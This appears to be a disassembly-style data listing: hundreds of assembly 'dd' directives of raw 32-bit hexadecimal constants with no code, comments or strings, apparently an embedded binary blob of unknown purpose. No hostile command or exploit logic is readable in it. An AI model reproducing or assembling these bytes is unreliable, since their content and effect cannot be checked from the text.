dd 672CE00Ch, 90F5314Bh, 8DBB5FE4h, 0AB983B6Ah, 0B95A4FD0h
dd 4CAC92F5h, 929CBCB4h, 0AD3A90ACh, 0B4659B17h, 357D926Bh
dd 6100150h, 33B74504h, 281A5429h, 28420C13h, 0BE90C1Ch
dd 12C263B5h, 419361C9h, 4A024FEFh, 7918831Dh, 7323A456h
dd 3E97E00Ch, 2868295Ah, 240C3408h, 4B201414h, 0BC1C6D00h
dd 0DAB8504Bh, 312A4114h, 0DF294EE7h, 62096A7Ch, 0F1586B22h
dd 5CC23220h, 7312F66h, 3B7F2CAFh, 0C4B767A0h, 0AA5BF80Ah
dd 520176E3h, 0F2788BAh, 0B251303Fh, 67B04F1Dh, 2CDFE280h
dd 25E910CEh, 0F745853Bh, 8AD4FC0Ah, 237C3140h, 0CD02F644h
dd 0DC6A642Dh, 5253A968h, 563178D7h, 0B41E4325h, 2D86227Bh
dd 0A8476B7Fh, 91704F9h, 0AAE95E1Eh, 65FF66C2h, 0DFA988EEh
dd 8542891Ah, 64D401D2h, 0C404EE25h, 0BB13C74Dh, 42215821h
dd 33BC1B04h, 8681A05Bh, 0EB05F87Ah, 4402E682h, 7309D4Dh
dd 59806D77h, 37692768h, 489F2A4Eh, 0B5D2F1D0h, 46F600CCh
dd 0A79A0976h, 5BE94912h, 0CB58954Eh, 0D0D26362h, 5844EE80h
dd 0F6202D53h, 1FD8283Ch, 0C38FDDB3h, 7193A47Eh, 55CB3FE8h
dd 2D6E96D5h, 5156959Bh, 0AD106552h, 0E0158D5Bh, 0F72D009Bh
dd 293E1C61h, 70551D0h, 97F1AD01h, 9747BF05h, 2A64409Ah
dd 2E002BC5h, 7A9F0FDFh, 16D29F31h, 0E94D04C1h, 9626D2Ch
dd 38F7C693h, 0DE4E5F17h, 35809BFh, 34FA8900h, 0A99064AFh
dd 80A7659Fh, 433DFAEAh, 6CD701D2h, 0AF8438ADh, 5944AF49h
dd 590C55A9h, 6C0FE4B2h, 0A550310Eh, 49EA88CFh, 46DEBB28h
dd 0E9D16E2Ch, 536640FDh, 199F3814h, 9C78EC5Ah, 31BE8513h
dd 3B9E4542h, 5EB3E277h, 727B4D67h, 20CF6809h, 7F6733D6h
dd 41449E12h, 0BDDD9BFEh, 48AD5460h, 3FDE8E8Bh, 810C662Ch
dd 685758C6h, 4E92F767h, 0E5F03570h, 0D1A8C295h, 0E872C9EFh
dd 0CD7F4632h, 855857EFh, 0E967DC9Ch, 14B970D4h, 0F65DCD05h
dd 2607AF59h, 0CFF0DFF7h, 9701529h, 7E24E961h, 57A3B710h
dd 81196601h, 0B40AF1F3h, 2EBB070h, 12FA6049h, 0E47DC383h
dd 0ECF3383Fh, 54D4610h, 0B6DA627Ch, 91A282FAh, 598A143h
dd 0FC506A56h, 0FF4A8088h, 9E065C25h, 0C2CBA664h, 9D769912h
dd 96024DDCh, 590AEB11h, 0AB253479h, 25E9F3E0h, 3D71400Eh
dd 0F68A1442h, 0B224AADh, 20DE0CC0h, 80A00808h, 0C51C4DC6h
dd 0C29D2917h, 0E9080121h, 268EF3EBh, 0AE322A68h, 57888531h
dd 0FEF46568h, 0B72D2398h, 106F452Ah, 58F727E8h, 9D7FF278h
dd 0EF54D605h, 5CC1F50Bh, 91712FA4h, 4261DEEBh, 0CF0FDABCh
dd 0A1259EDh, 0BF58C034h, 34CC8679h, 0C0B88184h, 0AA4BB4CAh
dd 0D5915FAEh, 292F98DBh, 9A8B39F9h, 8510D5CAh, 0AC20415Bh
dd 0CC7F0B71h, 0AB7C0AD0h, 0C66FB31Ch, 0BB61B993h, 7DC6DFA7h
dd 0F608331Ch, 6D34BD81h, 132F2E01h, 8E116F9h, 5F13C235h
dd 12F97D54h, 9C8DC384h, 0C9BE5CCEh, 0E9585CFEh, 0AB0E9552h
dd 0C1AA0114h, 60887E6h, 50910CBh, 85F40F70h, 0AA398609h
dd 75D02010h, 84DBF31h, 18885FD5h, 890C7B11h, 629D10C6h
dd 6773088Ch, 2ABB802h
dd 9C02E2CBh, 86A703B1h, 36703818h, 818F6C08h, 7803C26Fh
dd 0CF281075h, 49771039h, 18E13E18h, 8C4A2DCh, 1048083h
dd 0EFE704C1h, 4D2F604h, 0C80695EDh, 0AA314062h, 0BA940887h
dd 50DA1888h, 1912E108h, 0F7E8717Ah, 0C4632018h, 0C67CF308h
dd 8740118h, 18564133h, 0D349108Ch, 3944310Eh, 899897B2h
dd 89C31817h, 608B08C4h, 20986906h, 2063E820h, 0C1636A4Ah
dd 10863EB1h, 108A4D08h, 642A9F74h, 986354A4h, 104463C6h
dd 81888E3h, 0C0187DF8h, 457B806Bh, 0C6DD5380h, 204B5908h
dd 33D85D20h, 60101ABEh, 1E13048Ch, 47FCD04h, 81063727h
dd 0B131080Ah, 0BE41858h, 88CC5601h, 0C7AC410h, 8C71DCB6h
dd 8D4F10C6h, 6CCF2008h, 0CE806F7Eh, 0F7E1C863h, 1884600Ch
dd 50944087h, 1C104063h, 7F081A8Eh, 0D4318B7h, 424C1018h
dd 8052D708h, 20CAF212h, 9088C469h, 60C01ED4h, 0ABB4F454h
dd 0F0317092h, 49DF08E0h, 15F7201h, 2E016483h, 0FD6F01AEh
dd 8048BB02h, 2C80669Bh, 52548142h, 0BC2356B4h, 49202401h
dd 0A6B28864h, 15676208h, 0D910E01Fh, 513F186Eh, 0C6BFD308h
dd 214B7918h, 62602140h, 49651092h, 12935903h, 51859608h
dd 0DF319C4Ch, 176C019h, 370164FCh, 461088B2h, 0A1DD0870h
dd 8B3350Ch, 204892D4h, 0CC24F961h, 6992E4A0h, 10ECF84Ch
dd 8BE62ABh, 0C90AFFF2h, 0DF030831h, 3EF7F01h, 67C110BEh
dd 7D2455h, 186C9B8Ch, 87E6371h, 18109091h, 7510B4C2h
dd 817419BAh, 88C10C9h, 0B316ECAh, 8196A080h, 0A2282472h
dd 2D104E62h, 48180215h, 3281E506h, 0B310E85Fh, 5C6B8CA2h
dd 70D30104h, 0D78110ACh, 108224EBh, 8DB2288h, 5715D6E0h
dd 0D45D3F84h, 0FC269CCCh, 0D04BA4E8h, 41B12461h, 39C79E53h
dd 103EC918h, 2C03473Bh, 13EB0275h, 0B90E1B89h, 5D03DA7h
dd 8F004401h, 0C90B4940h, 588BF775h, 1374B074h, 0AEF003DEh
dd 0C0336321h, 32B10FE0h, 0AC2C304Fh, 7708E1h, 0B5E78DE9h
dd 579F4AAFh, 9670515h, 4988AF0Ch, 0B8BD5B6Ah, 0D4336D0h
dd 64346022h, 1604D8F6h, 54BC524Eh, 1E0238C6h, 0D6345576h
dd 0CDF20C49h, 0EE59893Bh, 0D3B951C0h, 6003826Dh, 4AA4E981h
dd 0F17402BBh, 0FBC7232Bh, 1A147255h, 540403E9h, 0F62D017Eh
dd 0DCE95045h, 8DF3F15Bh, 0E9D97A18h, 6A24A8E5h, 0ED021F46h
dd 825C2718h, 1129585h, 0C3358C68h, 0F2E2BF84h, 1A71BF97h
dd 5E026F25h, 892EDFEEh, 6DC0B951h, 5C16151Ch, 7309B58h
dd 3381CBBFh, 0EA7A527Eh, 5169FDBCh, 88E9848Fh, 0CD8EBAB5h
dd 0D030F762h, 0E9AE9855h, 2D0240B1h, 0D25B3804h, 63C4C110h
dd 0B3FEAB0h, 0D9F731C5h, 0AF3A4254h, 0FC064D1h, 20F25C06h
dd 4680F8A6h, 5E0B2978h, 0FC024368h, 0B0B06743h, 0DEF74735h
dd 1C5F897h, 6D1642CBh, 55138BE9h, 2B37EE16h, 0DE8F69Bh
dd 110936Dh, 400E285Ah, 2961B98Ch, 9E159631h, 0B9608108h
dd 662D126Ch, 9F500441h, 0BBCEFBF4h, 5B62680Bh, 1ABCB17Fh
dd 55A456B0h, 0AA1F7CBDh, 0FC4DACB8h, 212F1A4Bh, 0A74A27F9h
dd 91D7612h, 32F58DBDh, 48167DF8h, 5F693362h, 454054Dh
dd 0F43929F2h, 3A5E35A2h, 10CF7083h, 2C168F8h, 0E132A0BFh
dd 70541Ch, 0CD7B7D05h, 1D382D76h, 0E99386AEh, 9C9506D8h
dd 466F0B6Ch, 0E39A3057h, 43663B20h, 3EBF5700h, 310C9C3Ah
dd 6DD77C62h, 0E3B60028h, 5A39F308h, 518E8580h, 84EBDD88h
dd 46CABA6Ah, 1E10BED6h, 0FD3985D7h, 0C9E9BEAh, 23D84EE9h
dd 5A1100EBh, 0BA527D71h, 743733DBh, 0F503A06h, 5EC1652Ah
dd 0C10F87E2h, 775E17Ch, 3B407569h, 450558AAh, 1FCDE939h
dd 0BED361A9h, 0E9E8CC60h, 0F82664Ah, 5D04DDEFh, 0A4B6850h
dd 0BD927DB6h, 2D65D2EFh, 48E2D5B8h, 0F972E6A9h, 32F5724h
dd 62A451A7h, 2A54F986h, 5965EB81h, 1CF03666h, 8736CA38h
dd 0D053889Dh, 5055AD00h, 3B041CB8h, 0B36E1DFBh, 72BD7521h
dd 462315Dh, 0B470FE07h, 76B31963h, 5A57145Bh, 3D00935Fh
dd 8104B147h, 1013DECDh, 8A017B90h, 67C92C1Eh, 5B8F1882h
dd 0CB041F73h, 681718EBh, 3765E8Ch, 7F8EE918h, 16DDF7A0h
dd 0CC574868h, 2D902B94h, 0D5094501h, 97E9525Ah, 89C002Bh
dd 0D0F65BF8h, 2F0B2C3Eh, 0C2CAC94Dh, 0E45FA92Eh, 0DB09C344h
dd 0EF4927FCh, 0CD3C7717h, 0AEF20747h, 0E9540F70h, 9F30D23Ah
dd 39801EB6h, 0CE8445E6h, 0D5FDE918h, 384EF69h, 0A8B024AFh
dd 16CE34ADh, 5D0A18ABh, 0E98044B9h, 914D4872h, 50BE42A4h
dd 0F770B4h, 0E9E1CC10h, 0FCD44B51h, 0D864A40Ch, 0D913AAB9h
dd 5FE7A427h, 500C5300h, 152BD405h, 12FCEA31h, 0AE29E84Dh
dd 75075610h, 0F85E11A1h, 6F32E9F8h, 0F5FE73CAh, 3E4CE640h
dd 24BB85A0h, 115E7717h, 0B2D755F4h, 0D1D8F5C8h, 0E20CD79Bh
dd 0CF87C715h, 0F753DF20h, 0CCEE8014h, 0A3D52EBFh, 303DB641h
dd 526A3AEEh, 0C8958368h, 95DDCF37h, 459DD8E6h, 44158D73h
dd 9EB1FF3Ah, 0C24B4137h, 0E0C000B1h, 0E5042F07h, 0CF3906D2h
dd 62F780D6h, 0C05BFE30h, 685FDEEh, 0D33BE906h, 73F72903h
dd 0E01B780h, 662128BDh, 27F7BA61h, 2FE310Bh, 805AD60Bh
dd 554FC87Bh, 828B928h, 54270678h, 0B6350C7Bh, 4802BE0Eh
dd 89424079h, 0C302E0F3h, 3921767h, 41A91E61h, 293F2E06h
dd 0F271DFh, 0E82D5B08h, 74DA6414h, 70528D8h, 2CC35F5Ch
dd 0A3689D37h, 1D0A2604h, 780E384h, 4F2566E7h, 906EE060h
dd 50BD10B2h, 82C604C6h, 94F03h, 3C374030h, 0D2A176E9h
dd 0A2541327h, 0FF3189B8h, 161B44A1h, 0DFDC6F01h, 900DD7C7h
dd 0BA2B2662h, 5920F4B0h, 9F9AC4B3h, 21E9C232h, 26569C5Dh
dd 3FF3EDC1h, 0F77F5F80h, 390B68FFh, 7CAC2BE1h, 0F4C0F8D3h
dd 2784F3C9h, 0FC7856E9h, 3015C4A8h, 4B6A5F8Dh, 2089680Ch
dd 571E2C5Bh, 0D44436CBh, 4F0760D2h, 81B82E5Ah, 6815D1B2h
dd 14814CB6h, 77478B5h, 46CB29FDh, 1289DFB3h, 0E2FB416h
dd 0C462D9F7h, 0CE83B387h, 0F917E82Ah, 640103E1h, 1CA0605Eh
dd 0B862BE71h, 83262A07h, 743D52B9h, 25335E09h, 97F7947Fh
dd 3E2EABC0h, 0BB0C6261h, 0E17B1338h, 834A0F7h, 9140CD0h
dd 0F743A9E9h, 3A503D11h, 9B904DB3h, 171FB993h, 0F76076CBh
dd 2230CA2h, 0E9D6F773h, 0EC521AF6h, 8A3081B2h, 0EB8030C5h
dd 0C7043D78h, 142C7918h, 0D3EEF509h, 0D997CEBAh, 1B28D0Ch
dd 0F9AFFC48h, 2AE79895h, 632EFD0Fh, 1D103328h, 0F94E250Dh
dd 7BF3D34Bh, 0DF5DE915h, 17F2A250h, 21601E6Ch, 8BB80160h
dd 894FEEAFh, 6BE3FE6Eh, 0C92F79F0h, 8027CA7Ah, 5718B2E0h
dd 0CD5B5F29h, 6ACA3EE2h, 44D1944Fh, 0BFB2A68Ch, 3F5C419Ch
dd 60795553h, 0D0BAA380h, 305C9750h, 0E714883h, 0CCE923B6h
dd 5BB32254h, 0AFEC8451h, 7130B78Dh, 0BB12C0ABh, 42087D87h
dd 412F13F4h, 5937C401h, 680856D9h, 0E90646E0h, 50A8675h
dd 0C380852Ch, 4F5DAA4Eh, 0BDE6987Fh, 165E351Eh, 0E005B62Dh
dd 0A324081Fh, 80008243h, 294C3268h, 4BE914C6h, 592FEEDh
dd 0CA2705DFh, 0AA8A4AD3h, 85A5F94Ah, 0F8504AE5h, 574604E8h
dd 0C4BF3BDBh, 0B10716C7h, 7BC82A7Ah, 5D0E4086h, 427022ECh
dd 213F20A0h, 0A233B32Fh, 5712479Ch, 942F0AC7h, 0FF739F66h
dd 94F1AB2Fh, 510225FFh, 0B6FE1F90h, 0C780F09Ch, 20C23E66h
dd 0CBFB7929h, 6CE85AB1h
dd 87B3F013h, 1232652Fh, 14730C53h, 3E0CBF12h, 14696665h
dd 0F7C9C02Dh, 82408405h, 3C41C790h, 5AC3F67Eh, 3504E6D5h
dd 8D5DBB5Eh, 812E3D45h, 7907EFD2h, 0C8237FDh, 54A82334h
dd 86928F5h, 14090C34h, 0CA885C5Dh, 0A59824ECh, 98C1171h
dd 57590A88h, 0BE006F58h, 317635EFh, 0A8C5FF56h, 0BC03575Eh
dd 0F63B1941h, 5417000Ch, 0ADBF7A51h, 29F41359h, 4E27509Fh
dd 5B160FF8h, 4204C82Fh, 0C0C69471h, 520497DFh, 0A1BF0E02h
dd 77106C09h, 0C14F4100h, 0EAC103E7h, 538A1447h, 8306128Fh
dd 1284FF2Bh, 0D98126Dh, 90CCB55Ah, 536EEE90h, 0AEFD1680h
dd 129BEB4h, 8C018E53h, 50E262ABh, 0FB1DF883h, 4BE8384Fh
dd 0A56384F4h, 0E6347A60h, 0EA5C02AFh, 0F860D801h, 81DE8A4Dh
dd 0B84C7BC2h, 5500574Fh, 23A02707h, 40BD2BFh, 1B7CC0C2h
dd 0F5E4BB78h, 0EBD130E9h, 19DEEACDh, 926F613Dh, 70401ABCh
dd 0BD55F101h, 10260388h, 0F6CD8123h, 0D863ACC9h, 221F28E5h
dd 0ED017F69h, 0F9E0A910h, 80786530h, 0F4E0DDB4h, 9112C599h
dd 99EF5E52h, 0E6E02EEEh, 0E9FFC25Dh, 0AA72E12Eh, 0D226180Ch
dd 9118640h, 3173DB50h, 0C801F982h, 26051A63h, 61BB3E9Dh
dd 7FBB588h, 899A197Dh, 0AC4174CEh, 4D134F7Eh, 28213DFBh
dd 3468C54Eh, 4EDB08C8h, 0A06F41CBh, 0EF47F363h, 70173469h
dd 433D0BEEh, 9C907A35h, 2C241CF8h, 0B23DC913h, 5C324D8Dh
dd 185D25BDh, 8679AA1Eh, 82252069h, 6F344603h, 50912760h
dd 0C10E7132h, 0A1F37E58h, 35ED81D3h, 0AB7C556Ch, 254F208Ah
dd 0BA9F85A9h, 0E54B5A9Eh, 0A4A67C56h, 4B3C5FEEh, 9C3402C7h
dd 0A6A01097h, 323ABDF5h, 2A545DDh, 123D6E9h, 0FFC99D5Ch
dd 24FB7496h, 4BBA4595h, 9EF2E91Ah, 149EDD0Ah, 4767999Fh
dd 3A2D7874h, 0BC4B1D0Bh, 0F2742EBEh, 0CF895A84h, 0AA6861EAh
dd 31312465h, 5B4ED078h, 20501D83h, 8B3ED91Ch, 5A39630Bh
dd 4FF7E956h, 0A9D2A838h, 38212DAAh, 80C5B9F3h, 6B261605h
dd 0C8122D79h, 80A44AACh, 701A615Fh, 1CBAA6D3h, 4E14C10Ch
dd 0C44D0DE2h, 0A19AF3E9h, 0D60B829Fh, 974290A8h, 0F76024D2h
dd 0F3702ABh, 0FA552D47h, 0CA054043h, 9611F402h, 0A01DE4E9h
dd 4D83BD3Fh, 93C1764h, 1ED7B8EEh, 0E58D6092h, 0F79C1201h
dd 1B493816h, 0E3B5B25Fh, 434C2E52h, 573A043Fh, 0C1C380BFh
dd 0FD092132h, 0E83E5FE9h, 27DA6E30h, 8BE8026Ah, 157B68EFh
dd 485B1A24h, 0AD58F1A5h, 682DCBDBh, 0B6BB72A0h, 0FA2DC53Ch
dd 0E38DB58Ch, 32C28C6Fh, 22CBE65Ah, 3657EA27h, 29E926D6h
dd 8099A22Fh, 907F1CBBh, 0F1813F48h, 0BB992094h, 0DBDF0376h
dd 0E3E94145h, 0D9B7348Eh, 2C7A626Fh, 0E2A5A653h, 0E466FFC4h
dd 0B6A884E8h, 8132BC9h, 9E1F09D3h, 0A8952556h, 938317EFh
dd 0C1CC5916h, 22879EEh, 1B53775Ch, 0E716F024h, 27846B37h
dd 0EF4B3AFCh, 19043174h, 0BC12A0D1h, 17873217h, 5FF34233h
dd 8C2959CCh, 5808BFD9h, 5BB1F12h, 8633DD21h, 29780B51h
dd 0FE02DB94h, 0E3249760h, 80361071h, 6B092FDFh, 0AC6DD31Ah
dd 0B007DCB4h, 0D532091Dh, 0F2091FC9h, 0EFCACFB2h, 0CE2AA2D5h
dd 366ED581h, 82426FBFh, 10AC6855h, 0E54FFCA3h, 5BB8D102h
dd 633A4505h, 38F3A834h, 0E68637Ah, 29F3E8D1h, 0CDC034FAh
dd 0FBBF2EA5h, 92DD49D0h, 0B5A5757h, 58310B3Ah, 792F2532h
dd 0AF368D6Ch, 571E603Fh, 45BC730Fh, 0B47FA45Bh, 8D2BC8F1h
dd 0CBB3F0DAh, 8462E3BCh, 28E77DABh, 81ED5C13h, 4E8BEEE5h
dd 0AAB264CEh, 60323678h, 0EBEE176Eh, 9AC42E72h, 83E27CF7h
dd 0AB936A51h, 94F5B254h, 22AEE5F1h, 0F3C80788h, 0A29F4068h
dd 542AB133h, 1C521F7Ah, 6BBE492Eh, 7416C6F8h, 0CFB0FB04h
dd 36572433h, 0D100B3Dh, 7425A9D1h, 0BB1034E2h, 4025618Ch
dd 0C26001F2h, 9849EC4Ah, 0D8D6FB7Ch, 80590E9Eh, 0C66556F6h
dd 0EAC0EB61h, 5AB05051h, 0AAD124E0h, 0E98341E6h, 0BB8484A2h
dd 894F44F3h, 91BD2F43h, 62C6E983h, 5D0A2Dh, 77FFEF6Dh
dd 0C7E60FAh, 49C24664h, 3D0653B7h, 98B00B20h, 8C30CE76h
dd 79410C74h, 127166Eh, 120405FBh, 3835A318h, 25329348h
dd 44F1A0B5h, 0D75F0C48h, 0D2B8B363h, 74849E1Fh, 4A06A15h
dd 278013F1h, 0C9A001BBh, 70583A8Eh, 0FC0BE9D1h, 55FA59BEh
dd 0E6024F92h, 1AF940ECh, 0F2D4E9E1h, 0DEBCA005h, 0CA810B94h
dd 2F3A46F5h, 4BC69E40h, 0E92E054Ah, 0EE010AB7h, 0B64F3E8Eh
dd 0A4E91221h, 0EEC1B981h, 43FEF07Fh, 3A603312h, 0D343C9A1h
dd 6822A8BBh, 0DE89045Fh, 0C8ECDAE9h, 7D13C321h, 17FF694Fh
dd 0B313A8C5h, 485A0281h, 0D6017471h, 36B7FE78h, 5508C1E6h
dd 0A609BDE9h, 0BF0351C9h, 0D5B931CEh, 0BB6E10FBh, 577DF400h
dd 0D1C1E977h, 24044CD2h, 121766h, 8308E89Bh, 50401C0h
dd 415056E0h, 0B2CC45BAh, 0E108CD77h, 3E9725C9h, 2A7DDFA7h
dd 4F5D5F5h, 4C6FE668h, 44D6E055h, 6B4AEBF0h, 3508F806h
dd 0E3C095B2h, 8D2747ECh, 7223F43Dh, 0B494D56h, 288A7377h
dd 348A0B72h, 8812163Ch, 72900809h, 0F083A65Eh, 2F417AEDh
dd 41FA258Eh, 9CF21802h, 75EA89FCh, 11C748Bh, 0AF41D731h
dd 0D82A5FFDh, 0F15E21E7h, 0E9C5A8E2h, 6A79BA02h, 0ABE442A1h
dd 0FC5F17F3h, 0E953052Fh, 65FB86D0h, 521B7220h, 5E87C41h
dd 977992CCh, 365C8709h, 610CE507h, 0DBF6C02Eh, 1903D930h
dd 0D805F0E9h, 2D4925Bh, 5ED793ECh, 8CEED2E8h, 4B188E20h
dd 49C63FEh, 0EF014A31h, 0DCCDD20h, 4B6E7EBBh, 1DCF13DFh
dd 9A88CB90h, 0A84AEED4h, 2A8DF308h, 0F790A01h, 1DF13709h
dd 7704CBB3h, 596839A3h, 9E75BFE4h, 76803C5Fh, 0E9492264h
dd 41DB5B41h, 234B9BD1h, 24E43006h, 9385A2D7h, 130B02FAh
dd 12E038D5h, 5BD3DC5Fh, 40FAC617h, 72CCEA0Dh, 0E92D15E7h
dd 5A6AFAFBh, 66A032E3h, 2E087141h, 0BB775CCh, 0D8DDE9D5h
dd 1391BFA8h, 4AD5B894h, 0C285DEB6h, 606E9D84h, 0AC7A9AFh
dd 3773C388h, 310E27E0h, 0DDE21480h, 0C2C4AD71h, 912343Fh
dd 1274A803h, 0C5C75E2Fh, 0CF9BAE56h, 0D62CE64Ah, 0BBD8E28h
dd 466956EFh, 0A0CD858h, 92424ACEh, 76212FB3h, 2CAED290h
dd 0DFEC015Fh, 0E925A1E6h, 80AD60F8h, 0FE3419C4h, 977B0ACCh
dd 0E109BC06h, 9708C602h, 0EB4F22DEh, 0BE08C0BCh, 6B0B7A4Fh
dd 867DB003h, 951352A0h, 0C2C8B863h, 50287A3Ah, 0CC80F20Eh
dd 0C6B12399h, 4E69C0C7h, 0F6679D9Bh, 4CE274ACh, 0A552E70Dh
dd 9917E1D1h, 979F02B3h, 222E5649h, 1C482840h, 0F4D1C68h
dd 32E89684h, 5E2FF120h, 0E8167E55h, 0B5E9C1DBh, 78716319h
dd 0D2179A5Bh, 0B88419A9h, 0A0213EDh, 0FE011B4Ah, 64A171DEh
dd 7DEC5A82h, 56FDFC5Eh, 0D6B90893h, 1258BE01h, 412F180Eh
dd 0F32F5FF5h, 41837B67h, 3C94DD90h, 1F799BACh, 4B4A1436h
dd 0C2C8F2BFh, 3A5BFF87h, 0EE00FCBCh, 0E92AB966h, 65C17D76h
dd 7BD3431Bh, 70B18130h, 9354E05Ah, 356805D3h, 1BCCBB7Fh
dd 0C349586Fh, 321C374Ah, 0A36101E9h, 0CE8B6C3Ah, 36AD85C6h
dd 2CB3DF80h, 2D7F0593h, 81FACC7Eh, 0AF9D4EE4h, 0E88CD930h
dd 4332AFAFh, 0BC37F724h, 54531D32h, 4486D3C9h, 0AC575FDBh
dd 61EBB548h, 6F1B1h, 0BA91E5E9h, 401CA279h, 2D0BC55Eh
dd 205C3B5Fh, 131B2F3Eh, 743E8E4h, 4A597D10h, 2DC10060h
dd 31957098h, 0A2B5CBB5h
dd 77F7C6E8h, 0A8C6F421h, 5E7CB5CCh, 4F8FE830h, 0B04A00F8h
dd 0C31F80B1h, 0ABD2E9DCh, 0E9B170BDh, 0B36D2440h, 0CA24B077h
dd 5159C404h, 77F442h, 2034D8F6h, 0CC7800Eh, 0EF5D7D28h
dd 23084C6Eh, 505309B6h, 0D9DA5E02h, 455234FEh, 19CB8C3Dh
dd 6CBFE511h, 26F57FA5h, 0A6E1925Bh, 50201091h, 200B202h
dd 57683CF8h, 0BA65377Ah, 0B7A9956Dh, 3C230657h, 46BF04E1h
dd 0FE69F62Ch, 0FDD24E87h, 1BE0A0A8h, 0B3B1125h, 6E3C15Bh
dd 0E9242C78h, 71A5D7EAh, 0ACAE4474h, 0CCB24F90h, 143B72F5h
dd 31DA303h, 700BF735h, 34DF1215h, 0F2119008h, 3D282E2Ah
dd 0D36BF83Ch, 981EFF2Ch, 0D5029F45h, 5DBBA4F1h, 0D41897A2h
dd 0E4EB6DB7h, 9EAAC09h, 9E8B4056h, 66A2FAh, 371086BFh
dd 4998FA4Dh, 0D0266741h, 0DC111756h, 5A40E765h, 5322C4F7h
dd 7BDBAFECh, 50833F4Ch, 0BD905566h, 3BED11A0h, 0A7138181h
dd 95F6338Fh, 0A10DE584h, 568D2BE6h, 76FEC282h, 4B606111h
dd 625630Ah, 28BFD677h, 67910135h, 0FE94066h, 4D294082h
dd 515C807Eh, 622E05BFh, 0F1B073E0h, 0B35620E9h, 0C4E5C12Eh
dd 0ACA6C71Fh, 1D09CC4Eh, 0E8105AE8h, 0EFCF1AE6h, 0C2457C14h
dd 71D1CCE4h, 3202DA88h, 43493962h, 24AF70F7h, 80C0BC1Fh
dd 61B0A912h, 50685856h, 302AAC51h, 0D4EF81DAh, 2AED5405h
dd 0A710F701h, 0D75E2708h, 0B4B124B2h, 96D46952h, 0BE494812h
dd 0D82E7455h, 0BB26685Dh, 0A3C1BD73h, 0CA30FE2Fh, 41BA4079h
dd 0C90781E2h, 1D21341Ch, 184DD6Fh, 13AB3A2Dh, 0D3C77349h
dd 888DEFFDh, 5886F82Ah, 9CAD5AEDh, 0EEA39C4h, 0D0829DD1h
dd 0C842840Fh, 5C3268BBh, 0EFD7F22Ah, 85EA3B2Ch, 4E2CE904h
dd 7EF98EEAh, 5A922CE1h, 0E9F18DACh, 7EA465A6h, 1319CDE4h
dd 1307D4Dh, 54BEC9F1h, 0C18840E1h, 0E022005h, 0E9CE0136h
dd 304954E3h, 0F58851DAh, 0F798ECE4h, 4D87A34Eh, 6EFFB9B0h
dd 0BC7A5EC6h, 0DC16696Fh, 9E545860h, 0CCEBE1C0h, 1CADD28Ah
dd 0D85BDE29h, 66512CFEh, 8B4AA224h, 59328C02h, 7CE0550Eh
dd 0F05F215Fh, 60BB1F98h, 70BF5063h, 322FC249h, 806F401h
dd 8B0BF485h, 55DF3208h, 9422E590h, 4263F19Fh, 0FB54D8ACh
dd 84BF5758h, 87090AB4h, 60E67F1Ch, 20C1DF7Dh, 409468ADh
dd 0F4073F26h, 0D2523D06h, 99FF3A20h, 807458C2h, 0BBE70581h
dd 0EA63C26Ah, 503192C2h, 0C0BEBC66h, 402D685Fh, 4B58F99Dh
dd 16FDD4C0h, 7E388C2Fh, 0A2D42711h, 16888B65h, 5E7559D3h
dd 17335785h, 6051A1DAh, 21D32D26h, 0D31A41ACh, 65F7111Bh
dd 0B2E986BFh, 0E0772199h, 48359727h, 39DCEA73h, 0F54FF645h
dd 0E90800A7h, 76C41F96h, 7DAE1C8Bh, 0FAA7606Ch, 0B1BEA2BFh
dd 4E76643Bh, 89FC02h, 0A620311h, 155DEE31h, 9F493BE9h
dd 0C1423205h, 0A9528202h, 3467C5C1h, 1325EF42h, 8D8BF6C9h
dd 2F901488h, 3E489C0h, 0B6B30B53h, 33D4DC28h, 0B0C2E904h
dd 8B120ADh, 0DCFC5823h, 312F7512h, 9016E01h, 0C9E791Dh
dd 55B34B27h, 0E3B53805h, 723C109Fh, 0D5C5C84Fh, 88FF04E3h
dd 9B5BB33h, 6024D4CEh, 6CA355A5h, 634E67FEh, 61212132h
dd 0BA009C9Ch, 0BF285D97h, 5404CE77h, 5266DF2Bh, 9C471AB4h
dd 148912BFh, 7A05D472h, 0C4434562h, 314EC72Bh, 2A2676F6h
dd 18C8ACB0h, 180B405Bh, 2E3315ECh, 0B7C4360Ch, 5403890Bh
dd 435D3F87h, 0C8CBFE1Dh, 5C13321Bh, 0BA0770DCh, 0BD55020Fh
dd 576A5A8Ah, 100F15DAh, 87A177Fh, 30A60444h, 6C37C2BFh
dd 1C01A57h, 9BF7E90Ch, 0BF84957Ah, 43B2CEC5h, 30C201F1h
dd 36164C0Dh, 0E2435B68h, 5AC6DCE9h, 579E23BBh, 0FF0B3E2h
dd 8628539Dh, 2AF75608h, 0B41C5E61h, 0FC427B0Eh, 18776B5h
dd 255104B8h, 0F8C66B54h, 2FD19A06h, 3CDB14D7h, 0EA0A9CBDh
dd 0F9BADD27h, 0AF8E389h, 0C91159BDh, 36A582D7h, 34A8FA8Ch
dd 0EACDF062h, 991317B2h, 9A8C5DF8h, 0B4E9D7BCh, 0DC55B2h
dd 2EB5F5B9h, 0C5EC44FEh, 840987E6h, 7073E919h, 92309D64h
dd 483A13Ch, 0AF6D3438h, 684CE06Bh, 0C33BF831h, 27BE21E2h
dd 0F57BC389h, 0A89C1E03h, 7FF71702h, 7568530Eh, 0F8F2D1C3h
dd 0C62F537Ch, 9792F6BDh, 0C2F1000Bh, 0E716F9A8h, 0BDC2B60Fh
dd 1479692Dh, 3C95401h, 37268868h, 5050B76Bh, 290F6461h
dd 12BA5EF5h, 3AD45003h, 2DBBE681h, 0F4B67EF3h, 0B076272h
dd 0D4E9F129h, 0B41F5BDBh, 0D5BE926h, 17E887E9h, 7609EF01h
dd 4EFEE5CBh, 15C9E925h, 0BDED2920h, 20095B4Dh, 71606268h
dd 7CCF82CBh, 888344A1h, 80C08105h, 6D636E0Bh, 0BB781E0Ch
dd 9EFC052Ch, 3129549h, 5EB068A3h, 0D4DD10D5h, 179DB06h
dd 8816CFDh, 14EE805Fh, 4E6D3D27h, 0E9E609D1h, 1B44590Bh
dd 0C4AD5D5Ah, 0E92D42E5h, 0D2DE0159h, 0D47B83A8h, 5E629A2Fh
dd 92E91DDAh, 0F8BF3403h, 41BB3B40h, 57228683h, 7CDA0E98h
dd 60F5DEEAh, 0E64BF30Ah, 5CC270C5h, 6216C6DDh, 5F0B228h
dd 2951E9DCh, 4E0867A4h, 0E2252743h, 0E571602Bh, 62C72097h
dd 51B1DAD5h, 0BBA2615h, 79A30485h, 890D988h, 0DC955B59h
dd 7FE950DDh, 8839AE5Ah, 82119979h, 0A3F202BEh, 604C746Eh
